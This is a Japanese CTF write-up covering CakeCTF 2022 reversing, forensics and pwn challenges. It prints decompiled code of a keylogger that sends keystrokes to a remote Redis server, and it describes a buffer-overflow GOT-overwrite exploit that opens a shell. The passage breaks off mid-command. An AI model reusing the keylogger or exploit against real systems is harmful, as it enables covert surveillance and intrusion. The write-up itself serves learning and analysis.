添付ファイル: nimrev_91d94cdd51fd142d556030242fcab6d7.tar.gz

問題名からNim製なんだろうなあと察する。添付ファイルを展開すると chall というx86_64のELFが出てくるが、これは入力した文字列がフラグであるかどうかをチェックしてくれるバイナリっぽい。

$ ./chall
hoge
Wrong...

x86_64ということはフリー版のIDAでもデコンパイルができる。まず main から見ていくと、NimMain という関数が呼び出されていることが分かる。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  cmdLine = (__int64)argv;
  cmdCount = argc;
  gEnv = (__int64)envp;
  NimMain();
  return nim_program_result;
}

NimMain はこんな感じ。

unsigned __int64 NimMain()
{
  void (*v1)(void); // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  PreMain();
  v1 = (void (*)(void))NimMainInner;
  initStackBottomWith(&v1);
  v1();
  return v2 - __readfsqword(0x28u);
}

さらに NimMainInner を見ると、中で NimMainModule が呼び出されている。NimMainModule を見ると、v4 + 16 から始まるバイト列が明らかに怪しい。map_main_11 にそのバイト列と colonanonymous__main_7 という関数が引数として渡されているけれども、結局のところはそのバイト列の各バイトをビット反転しているだけだ。

__int64 __fastcall colonanonymous__main_7(char a1)
{
  return (unsigned __int8)~a1;
}

__int64 __fastcall map_main_11(__int64 a1, __int64 a2, __int64 (__fastcall *a3)(_QWORD), __int64 a4)
{
  char v4; // al
  __int64 i; // [rsp+20h] [rbp-20h]
  __int64 v9; // [rsp+28h] [rbp-18h]

  v9 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, a2);
  for ( i = 0LL; i < a2; ++i )
  {
    if ( a4 )
      v4 = ((__int64 (__fastcall *)(_QWORD, __int64))a3)((unsigned int)*(char *)(i + a1), a4);
    else
      v4 = a3((unsigned int)*(char *)(i + a1));
    *(_BYTE *)(v9 + i + 16) = v4;
  }
  return v9;
}

unsigned __int64 NimMainModule()
{
  __int64 v0; // rsi
  __int64 v1; // rax
  __int64 Line_systemZio_271; // [rsp+0h] [rbp-40h]
  __int64 v4; // [rsp+8h] [rbp-38h]
  __int64 *v5; // [rsp+10h] [rbp-30h]
  __int64 v6; // [rsp+18h] [rbp-28h]
  __int64 (__fastcall *v7)(); // [rsp+20h] [rbp-20h] BYREF
  __int64 v8; // [rsp+28h] [rbp-18h]
  __int64 v9; // [rsp+30h] [rbp-10h] BYREF
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  nimZeroMem_0(&v9, 8LL);
  Line_systemZio_271 = readLine_systemZio_271(stdin);
  v4 = newSeq(&NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_, 24LL);
  *(_BYTE *)(v4 + 16) = 0xBC;
  *(_BYTE *)(v4 + 17) = 0x9E;
  *(_BYTE *)(v4 + 18) = 0x94;
  *(_BYTE *)(v4 + 19) = 0x9A;
  *(_BYTE *)(v4 + 20) = 0xBC;
  *(_BYTE *)(v4 + 21) = 0xAB;
  *(_BYTE *)(v4 + 22) = 0xB9;
  *(_BYTE *)(v4 + 23) = 0x84;
  *(_BYTE *)(v4 + 24) = 0x8C;
  *(_BYTE *)(v4 + 25) = 0xCF;
  *(_BYTE *)(v4 + 26) = 0x92;
  *(_BYTE *)(v4 + 27) = 0xCC;
  *(_BYTE *)(v4 + 28) = 0x8B;
  *(_BYTE *)(v4 + 29) = 0xCE;
  *(_BYTE *)(v4 + 30) = 0x92;
  *(_BYTE *)(v4 + 31) = 0xCC;
  *(_BYTE *)(v4 + 32) = 0x8C;
  *(_BYTE *)(v4 + 33) = 0xA0;
  *(_BYTE *)(v4 + 34) = 0x91;
  *(_BYTE *)(v4 + 35) = 0xCF;
  *(_BYTE *)(v4 + 36) = 0x8B;
  *(_BYTE *)(v4 + 37) = 0xA0;
  *(_BYTE *)(v4 + 38) = 0xBC;
  *(_BYTE *)(v4 + 39) = 0x82;
  nimZeroMem_0(&v7, 16LL);
  v7 = colonanonymous__main_7;
  v8 = 0LL;
  if ( v4 )
    v0 = *(_QWORD *)v4;
  else
    v0 = 0LL;
  v5 = (__int64 *)map_main_11(v4 + 16, v0, v7, v8);
  if ( v5 )
    v1 = *v5;
  else
    v1 = 0LL;
  v6 = join_main_42(v5 + 2, v1, 0LL);
  if ( (unsigned __int8)eqStrings(Line_systemZio_271, v6) != 1 )
    v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_5);
  else
    v9 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_4);
  echoBinSafe(&v9, 1LL);
  return v10 - __readfsqword(0x28u);
}

CyberChefに投げるとよい。

CakeCTF{s0m3t1m3s_n0t_C}

[rev 121] luau (64 solves)

Aloha! This is a luau for reverse engineerers!

添付ファイル: luau_705482e0dbe2ae8bae1c6c752d635049.tar.gz

添付ファイルを展開すると main.lua, libflag.lua が出てくる。main.lua の方は libflag.lua から checkFlag という関数をインポートする普通のLuaコードなんだけれども、libflag.lua の方はバイナリっぽい。file コマンドに投げてみると、これは(luac が吐き出すような)Luaバイトコードであることがわかった。

$ cat main.lua
local libflag = require "libflag"
io.write("FLAG: ")
flag = io.read("*l")
if libflag.checkFlag(flag, "CakeCTF 2022") then
   print("Correct!")
else
   print("Wrong...")
end
$ xxd libflag.lua | head
00000000: 1b4c 7561 5300 1993 0d0a 1a0a 0408 0408  .LuaS...........
00000010: 0878 5600 0000 0000 0000 0000 0000 2877  .xV...........(w
00000020: 4001 0000 0000 0000 0000 0000 0202 0500  @...............
00000030: 0000 2c00 0000 4b40 0000 4a00 0080 6600  ..,...K@..J...f.
00000040: 0001 2600 8000 0100 0000 040a 6368 6563  ..&.........chec
00000050: 6b46 6c61 6701 0000 0001 0001 0000 0000  kFlag...........
00000060: 0100 0000 2000 0000 0200 296e 0000 008b  .... .....)n....
00000070: 0000 0dc1 0000 0001 4100 0041 8100 0081  ........A..A....
00000080: c100 00c1 0101 0001 4201 0041 8201 0081  ........B..A....
00000090: c201 00c1 0202 0001 4302 0041 8302 0081  ........C..A....
$ file *
libflag.lua: Lua bytecode,
main.lua:    ASCII text

適当にググって出てきた viruscamp/luadec というツールでデコンパイルを試みたが、セグフォってしまった。逆アセンブルだけなら大丈夫なので、その結果を libflag.dis に保存しておく。

$ luadec/luadec/luadec libflag.lua
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110
-- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
-- Command line: libflag.lua

Segmentation fault
$ luadec/luadec/luadec -dis libflag.lua > libflag.dis
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110

libflag.dis の内容は以下の通り。最初に初期化されているR2というバイト列がめちゃくちゃ怪しい。EQ が2回出現しているが、1回目はその直前に R2 の長さと第一引数の長さを比較していて、そこでまず一致していなければ return false している。2回目はおそらく1文字ずつ第一引数が正しいかチェックしていて、ここでもやはり一致していなければすぐに return false している。つまり、EQ が呼び出された回数が得られれば、第一引数のうち何文字が正しいかがわかる。

; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis libflag.lua

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
    5 [-]: LOADK     R7 K4        ; R7 := 47
    6 [-]: LOADK     R8 K5        ; R8 := 56
    7 [-]: LOADK     R9 K6        ; R9 := 118
    8 [-]: LOADK     R10 K7       ; R10 := 71
    9 [-]: LOADK     R11 K8       ; R11 := 109
   10 [-]: LOADK     R12 K9       ; R12 := 0
   11 [-]: LOADK     R13 K10      ; R13 := 90
   12 [-]: LOADK     R14 K7       ; R14 := 71
   13 [-]: LOADK     R15 K11      ; R15 := 115
   14 [-]: LOADK     R16 K12      ; R16 := 9
   15 [-]: LOADK     R17 K13      ; R17 := 30
   16 [-]: LOADK     R18 K14      ; R18 := 58
   17 [-]: LOADK     R19 K15      ; R19 := 32
   18 [-]: LOADK     R20 K16      ; R20 := 101
   19 [-]: LOADK     R21 K17      ; R21 := 40
   20 [-]: LOADK     R22 K18      ; R22 := 20
   21 [-]: LOADK     R23 K19      ; R23 := 66
   22 [-]: LOADK     R24 K20      ; R24 := 111
   23 [-]: LOADK     R25 K21      ; R25 := 3
   24 [-]: LOADK     R26 K22      ; R26 := 92
   25 [-]: LOADK     R27 K23      ; R27 := 119
   26 [-]: LOADK     R28 K24      ; R28 := 22
   27 [-]: LOADK     R29 K10      ; R29 := 90
   28 [-]: LOADK     R30 K25      ; R30 := 11
   29 [-]: LOADK     R31 K23      ; R31 := 119
   30 [-]: LOADK     R32 K26      ; R32 := 35
   31 [-]: LOADK     R33 K27      ; R33 := 61
   32 [-]: LOADK     R34 K28      ; R34 := 102
   33 [-]: LOADK     R35 K28      ; R35 := 102
   34 [-]: LOADK     R36 K11      ; R36 := 115
   35 [-]: LOADK     R37 K29      ; R37 := 87
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
   40 [-]: LEN       R3 R0        ; R3 := #R0
   41 [-]: LEN       R4 R2        ; R4 := #R2
   42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
   43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
   44 [-]: LOADBOOL  R3 0 0       ; R3 := false
   45 [-]: RETURN    R3 2         ; return R3
   46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
   47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
   48 [-]: LOADK     R5 K32       ; R5 := 1
   49 [-]: LEN       R6 R0        ; R6 := #R0
   50 [-]: LOADK     R7 K32       ; R7 := 1
   51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
   52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
   55 [-]: MOVE      R12 R8       ; R12 := R8
   56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
   60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
   61 [-]: LOADK     R5 K32       ; R5 := 1
   62 [-]: LEN       R6 R1        ; R6 := #R1
   63 [-]: LOADK     R7 K32       ; R7 := 1
   64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
   65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
   68 [-]: MOVE      R12 R8       ; R12 := R8
   69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
   73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
   74 [-]: LOADK     R5 K32       ; R5 := 1
   75 [-]: LEN       R6 R3        ; R6 := #R3
   76 [-]: LOADK     R7 K32       ; R7 := 1
   77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
   78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
   79 [-]: LEN       R10 R3       ; R10 := #R3
   80 [-]: LOADK     R11 K32      ; R11 := 1
   81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
   86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
   87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
   88 [-]: LOADK     R5 K32       ; R5 := 1
   89 [-]: LEN       R6 R3        ; R6 := #R3
   90 [-]: LOADK     R7 K32       ; R7 := 1
   91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
   99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
  100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
  101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
  102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
  103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
  104 [-]: LOADBOOL  R9 0 0       ; R9 := false
  105 [-]: RETURN    R9 2         ; return R9
  106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
  107 [-]: LOADBOOL  R5 1 0       ; R5 := true
  108 [-]: RETURN    R5 2         ; return R5
  109 [-]: RETURN    R0 1         ; return

EQ が呼ばれた回数をどうやって取得するかだが、これはバイトコードを実行するVMを改造してなんとかしたい。この程度の量なら真面目に読めばいいじゃんという話だけど、命令の実行回数が取れればよさそうとわかって謎命令列読むの面倒くさいスイッチが入ってしまった。

Lualvm.cVM周りの処理が集中しているので、そこで EQ が来たときの処理を探す。以下のように、EQ の実行回数(と、ついでにオペランド)を確認できるようにするパッチをあてる。rb->value_.i というメンバ名は lobject.h を確認してわかった。

--- old.c       2022-09-04 11:46:41.033906300 +0900
+++ new.c       2022-09-04 11:45:43.490968900 +0900
@@ -1084,6 +1084,7 @@
       vmcase(OP_EQ) {
         TValue *rb = RKB(i);
         TValue *rc = RKC(i);
+        printf("[DEBUG]%d %d\n", rb->value_.i, rc->value_.i);
         Protect(
           if (luaV_equalobj(L, rb, rc) != GETARG_A(i))
             ci->u.l.savedpc++;

コンパイルして実行する。確かに取得できている。

$ cd lua-5.3.3/src; make linux; cd ../..
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}" | ./lua-5.3.3/src/lua main.lua
FLAG: [DEBUG]38 38
[DEBUG]62 62
[DEBUG]32 85
Wrong...
$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./lua-5.3.3/src/lua main.lua
FLAG: [DEBUG]38 38
[DEBUG]2 62
Wrong...

Pythonで1文字ずつブルートフォースするスクリプトを書く。

# coding: utf-8
import re
import subprocess
import string
import sys

table = list(string.printable.strip().replace("'", '').encode())
res = list(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
l = len(res)
p = re.compile(rb'\[DEBUG\](\d+) (\d+)')

def go(r):
    tmp = bytes(r).decode()
    return subprocess.check_output(f"echo '{tmp}' | lua-5.3.3/src/lua main.lua", shell=True)

for _ in range(l):
    # 初期状態の確認
    r = go(res)
    cnt = r.count(b'[DEBUG]')
    ds = p.findall(r)[-1]

    # 位置を探る
    for i in range(l):
        tmp = res[:]
        tmp[i] = 0x41

        r = go(tmp)
        if cnt == r.count(b'[DEBUG]') and ds != p.findall(r)[-1]:
            break
    else:
        print('wtf')
        sys.exit(1)

    # 正解の文字をブルートフォースで当てる
    for c in table:
        tmp = res[:]
        tmp[i] = c

        r = go(tmp)
        if r.count(b'[DEBUG]') > cnt:
            res[i] = c
            break

    print(bytes(res))

実行する。

$ python3 solve.py
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$r4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$1r4}'
b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$l1r4}'
…
b'$$$$CTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$$$eCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$$keCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
b'$akeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}'
$ lua main.lua
FLAG: CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
Correct!
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

[rev, forensics 204] zundamon (20 solves)

I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?

This program may harm your computer. Do not run it outside sandbox.

zundamon_6b0cd1ac946498fcd41bf245b324490e.tar.gz

添付ファイルを展開すると、zundamon というx86_64のELFと evidence.pcapng というファイルが出てくる。zundamon を実行している様子をキャプチャしたものが evidence.pcapng なのかな。フリー版のIDAに投げてデコンパイルする。main がこんな感じ。デーモン化している。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax

  v3 = getenv("I_AGREE_TO_RUN_POSSIBLE_MALWARE_FILE");
  if ( !v3 || strcmp(v3, "yes") )
  {
    puts("We can't let you run this program unless you understand what it is, nanoda!");
    exit(1);
  }
  if ( daemon(0, 0) )
    perror("Could not run the program, nanoda!");
  else
    mainloop();
  return 0;
}

先程の main から呼び出されていた mainloop を見ていく。ここで使われている source, sink, get_target_name, exfiltrate という関数が気になるので、ひとつひとつ見ていきたい。

void mainloop()
{
  int v0; // eax
  int v1; // r12d
  int v2; // eax
  int v3; // r13d
  ssize_t v4; // rsi
  char *v5; // rbx
  unsigned __int64 v6; // rbp
  __int64 v7; // [rsp+0h] [rbp-C48h] BYREF
  char v8; // [rsp+12h] [rbp-C36h] BYREF
  unsigned __int64 v9; // [rsp+C08h] [rbp-40h]

  v9 = __readfsqword(0x28u);
  v0 = source();
  if ( v0 != -1 )
  {
    v1 = v0;
    v2 = sink();
    v3 = v2;
    if ( v2 != -1 )
    {
      get_target_name(v2);
      while ( 1 )
      {
        v4 = read(v1, &v7, 0xC00uLL);
        if ( v4 < 0 )
          break;
        if ( v4 > 23 )
        {
          v5 = &v8;
          v6 = 0LL;
          do
          {
            if ( *((_WORD *)v5 - 1) == 1
              && *(_WORD *)v5
              && *(_DWORD *)(v5 + 2) <= 2u
              && (unsigned int)exfiltrate(v3) == -1 )
            {
              break;
            }
            ++v6;
            v5 += 24;
          }
          while ( v6 < v4 / 0x18uLL );
        }
      }
      close(v1);
      close(v3);
      exit(0);
    }
    if ( v9 == __readfsqword(0x28u) )
    {
      close(v1);
      return;
    }
    goto LABEL_18;
  }
  if ( v9 != __readfsqword(0x28u) )
LABEL_18:
    _libc_csu_init();
}

まずは source だが、なにやら /dev/input 下のデバイスファイルを使ってイベントを取得しようとしている。マウスか、キーボードか。

__int64 source()
{
  int v0; // eax
  unsigned __int64 v1; // rbx
  __int64 v2; // r13
  unsigned int v3; // ebp
  unsigned __int64 v4; // rbx
  struct dirent *v5; // rdi
  int v7; // [rsp+4h] [rbp-2044h] BYREF
  struct dirent **namelist; // [rsp+8h] [rbp-2040h] BYREF
  char file[16]; // [rsp+10h] [rbp-2038h] BYREF
  char v10[16]; // [rsp+1010h] [rbp-1038h] BYREF
  unsigned __int64 v11; // [rsp+2018h] [rbp-30h]

  v11 = __readfsqword(0x28u);
  v0 = scandir("/dev/input", &namelist, is_char, (int (*)(const struct dirent **, const struct dirent **))&alphasort);
  if ( v0 < 0 )
  {
    v3 = -1;
  }
  else
  {
    if ( v0 )
    {
      v1 = 0LL;
      v2 = 8LL * v0;
      do
      {
        v7 = 0;
        __snprintf_chk(file, 4096LL, 1LL, 4096LL, "%s/%s", "/dev/input", namelist[v1 / 8]->d_name);
        v3 = open(file, 0);
        if ( v3 != -1 )
        {
          ioctl(v3, 0x80044520uLL, &v7);
          if ( (v7 & 1) != 0 )
          {
            ioctl(v3, 0x80044521uLL, &v7);
            if ( (v7 & 0x3E) == 62 )
            {
              ioctl(v3, 0x90004507uLL, v10);
              if ( v10[0] )
                goto LABEL_10;
            }
          }
          close(v3);
        }
        v1 += 8LL;
      }
      while ( v2 != v1 );
      v3 = -1;
LABEL_10:
      v4 = 0LL;
      do
      {
        v5 = namelist[v4 / 8];
        v4 += 8LL;
        free(v5);
      }
      while ( v2 != v4 );
    }
    else
    {
      v3 = -1;
    }
    free(namelist);
  }
  if ( v11 == __readfsqword(0x28u) )
    return v3;
  else
    return sink();
}

続いて sink を見ていく。164.70.70.96379/tcp に接続できるかどうかを確認している様子がわかる。送信している *1\r\n$4\r\nPING\r\n という文字列はRESPっぽいし、そのポート番号や PONG というレスポンスがあるかどうか確認しているところからも相手はRedisサーバっぽい。

__int64 sink()
{
  int v0; // edi
  int v1; // eax
  unsigned int v2; // r12d
  struct sockaddr v4; // [rsp+0h] [rbp-38h] BYREF
  int buf; // [rsp+10h] [rbp-28h] BYREF
  char v6; // [rsp+14h] [rbp-24h]
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v0 = 2;
  v7 = __readfsqword(0x28u);
  v1 = socket(2, 1, 0);
  if ( v1 < 0 )
  {
    v2 = -1;
  }
  else
  {
    v2 = v1;
    *(_DWORD *)&v4.sa_family = 0xEB180002;
    *(_DWORD *)&v4.sa_data[2] = inet_addr("164.70.70.9");
    connect(v2, &v4, 0x10u);
    if ( write(v2, "*1\r\n$4\r\nPING\r\n", 0xEuLL) < 0
      || (v0 = v2, read(v2, &buf, 5uLL) < 0)
      || buf != 0x4E4F502B
      || v6 != 71 )
    {
      v0 = v2;
      v2 = -1;
      close(v0);
    }
  }
  if ( v7 == __readfsqword(0x28u) )
    return v2;
  else
    return get_target_name(v0);
}

get_target_name を見ていく。ioctl(fd, 0x8927uLL, dest); (0x8927uLLSIOCGIFHWADDR) という処理から見てもMACアドレスを確認していそう。

__int64 __fastcall get_target_name(int fd)
{
  struct ifaddrs *v1; // r12
  struct ifaddrs *v2; // rax
  struct sockaddr *ifa_addr; // rdx
  const char *ifa_name; // rsi
  __int64 result; // rax
  socklen_t len; // [rsp+4h] [rbp-64h] BYREF
  struct ifaddrs *ifap; // [rsp+8h] [rbp-60h] BYREF
  struct sockaddr addr; // [rsp+10h] [rbp-58h] BYREF
  char dest[8]; // [rsp+20h] [rbp-48h] BYREF
  int v10; // [rsp+28h] [rbp-40h]
  __int16 v11; // [rsp+2Ch] [rbp-3Ch]
  char v12; // [rsp+2Eh] [rbp-3Ah]
  __int16 v13; // [rsp+30h] [rbp-38h]
  unsigned __int8 v14; // [rsp+32h] [rbp-36h]
  unsigned __int8 v15; // [rsp+33h] [rbp-35h]
  unsigned __int8 v16; // [rsp+34h] [rbp-34h]
  unsigned __int8 v17; // [rsp+35h] [rbp-33h]
  unsigned __int8 v18; // [rsp+36h] [rbp-32h]
  unsigned __int8 v19; // [rsp+37h] [rbp-31h]
  unsigned __int64 v20; // [rsp+48h] [rbp-20h]

  v20 = __readfsqword(0x28u);
  v11 = 0;
  v13 = 2;
  *(_QWORD *)dest = 812151909LL;
  v10 = 0;
  v12 = 0;
  len = 16;
  getsockname(fd, &addr, &len);
  getifaddrs(&ifap);
  v1 = ifap;
  v2 = ifap;
  if ( ifap )
  {
    while ( 1 )
    {
      ifa_addr = v2->ifa_addr;
      if ( ifa_addr )
      {
        if ( ifa_addr->sa_family == 2 && *(_DWORD *)&ifa_addr->sa_data[2] == *(_DWORD *)&addr.sa_data[2] )
        {
          ifa_name = v2->ifa_name;
          if ( ifa_name )
            break;
        }
      }
      v2 = v2->ifa_next;
      if ( !v2 )
        goto LABEL_9;
    }
    strncpy(dest, ifa_name, 0xFuLL);
  }
LABEL_9:
  freeifaddrs(v1);
  ioctl(fd, 0x8927uLL, dest);
  __snprintf_chk(mac, 18LL, 1LL, 18LL, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", v14, v15, v16, v17, v18, v19);
  result = v20 - __readfsqword(0x28u);
  if ( result )
    return exfiltrate((int)mac);
  return result;
}

最後に exfiltrate を見ていく。これは引数として与えられた文字列を先程のRedisサーバに(MACアドレスをキーとして) RPUSH で送りつける関数っぽい。

void __fastcall exfiltrate(int fd, char a2, const void *a3)
{
  size_t v4; // rax
  size_t v5; // rax
  char buf[4]; // [rsp+Ch] [rbp-ACh] BYREF
  char s[136]; // [rsp+10h] [rbp-A8h] BYREF
  unsigned __int64 v8; // [rsp+98h] [rbp-20h]

  buf[0] = a2;
  v8 = __readfsqword(0x28u);
  if ( write(fd, "*3\r\n$5\r\nRPUSH\r\n", 0xFuLL) >= 0 )
  {
    v4 = strlen(mac);
    __snprintf_chk(s, 128LL, 1LL, 128LL, "$%ld\r\n%s\r\n", v4, mac);
    v5 = strlen(s);
    if ( write(fd, s, v5) >= 0
      && write(fd, "$3\r\n", 4uLL) >= 0
      && write(fd, a3, 2uLL) >= 0
      && write(fd, buf, 1uLL) >= 0 )
    {
      write(fd, "\r\n", 2uLL);
    }
  }
  if ( v8 != __readfsqword(0x28u) )
    mainloop();
}

zundamon がどういう挙動をするかはわかったので、ソルバを書いていく。とりあえずこれがキーロガーだということにして、どんなキーが押されているか出力するスクリプトにしたい。以下はググるとヒットするwriteupのキーマップをありがたく利用しつつ、Scapyでパケットを読んでいくスクリプト

# coding: utf-8
import struct
from keymap import get_key # https://ctftime.org/writeup/21148
from scapy.all import *

shift = False
for pkt in PcapReader('evidence.pcapng'):
    if TCP not in pkt:
        continue

    if pkt[TCP].dport != 6379:
        continue

    payload = bytes(pkt[TCP])[32:]
    if b'd8:f2:ca:ce:44:8d' not in payload:
        continue
    payload = payload[payload.index(b'$3\r\n')+4:]
    event = payload.split(b'\r\n')[0]
    code, x = event[0], event[2]

    key = get_key(code)
    if key == 'LEFTSHIFT':
        if x == 1:
            shift = True
        else:
            shift = False

    print(x, int(shift), key)

実行して1文字ずつ追っていくとフラグが得られる。

CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}

ずんだもんなのだ。

[pwn 105] str.vs.cstr (88 solves)

Which do you like, C string or C++ string?

nc pwn1.2022.cakectf.com 9003

添付ファイル: str_vs_cstr_f088c31cd2d3c18483e24f38df724cad.tar.gz

添付ファイルを展開すると、chall というx86_64のELFと、そのソースコードである main.c が出てくる。main.c は以下のような内容だが、1. set c_str を選択した場合で明らかにBOFができる。

#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }
  
  return 1;
}

str に書き込んだ後に、c_str への書き込み時のBOFを利用して、str が指すアドレスを .got.plt の適当なアドレスに書き換える。その後にもう一度 str への書き込みを試みると、.got.plt に保持されていた関数のアドレスを書き換えることができる。今回は Test::call_me という /bin/sh を起動してくれる便利なメソッドがあるので、それに書き換える。これでシェルが得られた。

$ (echo -en "3\n01234567\n4\n1\nAAAAAAAAAAAAAAAAAAAAA
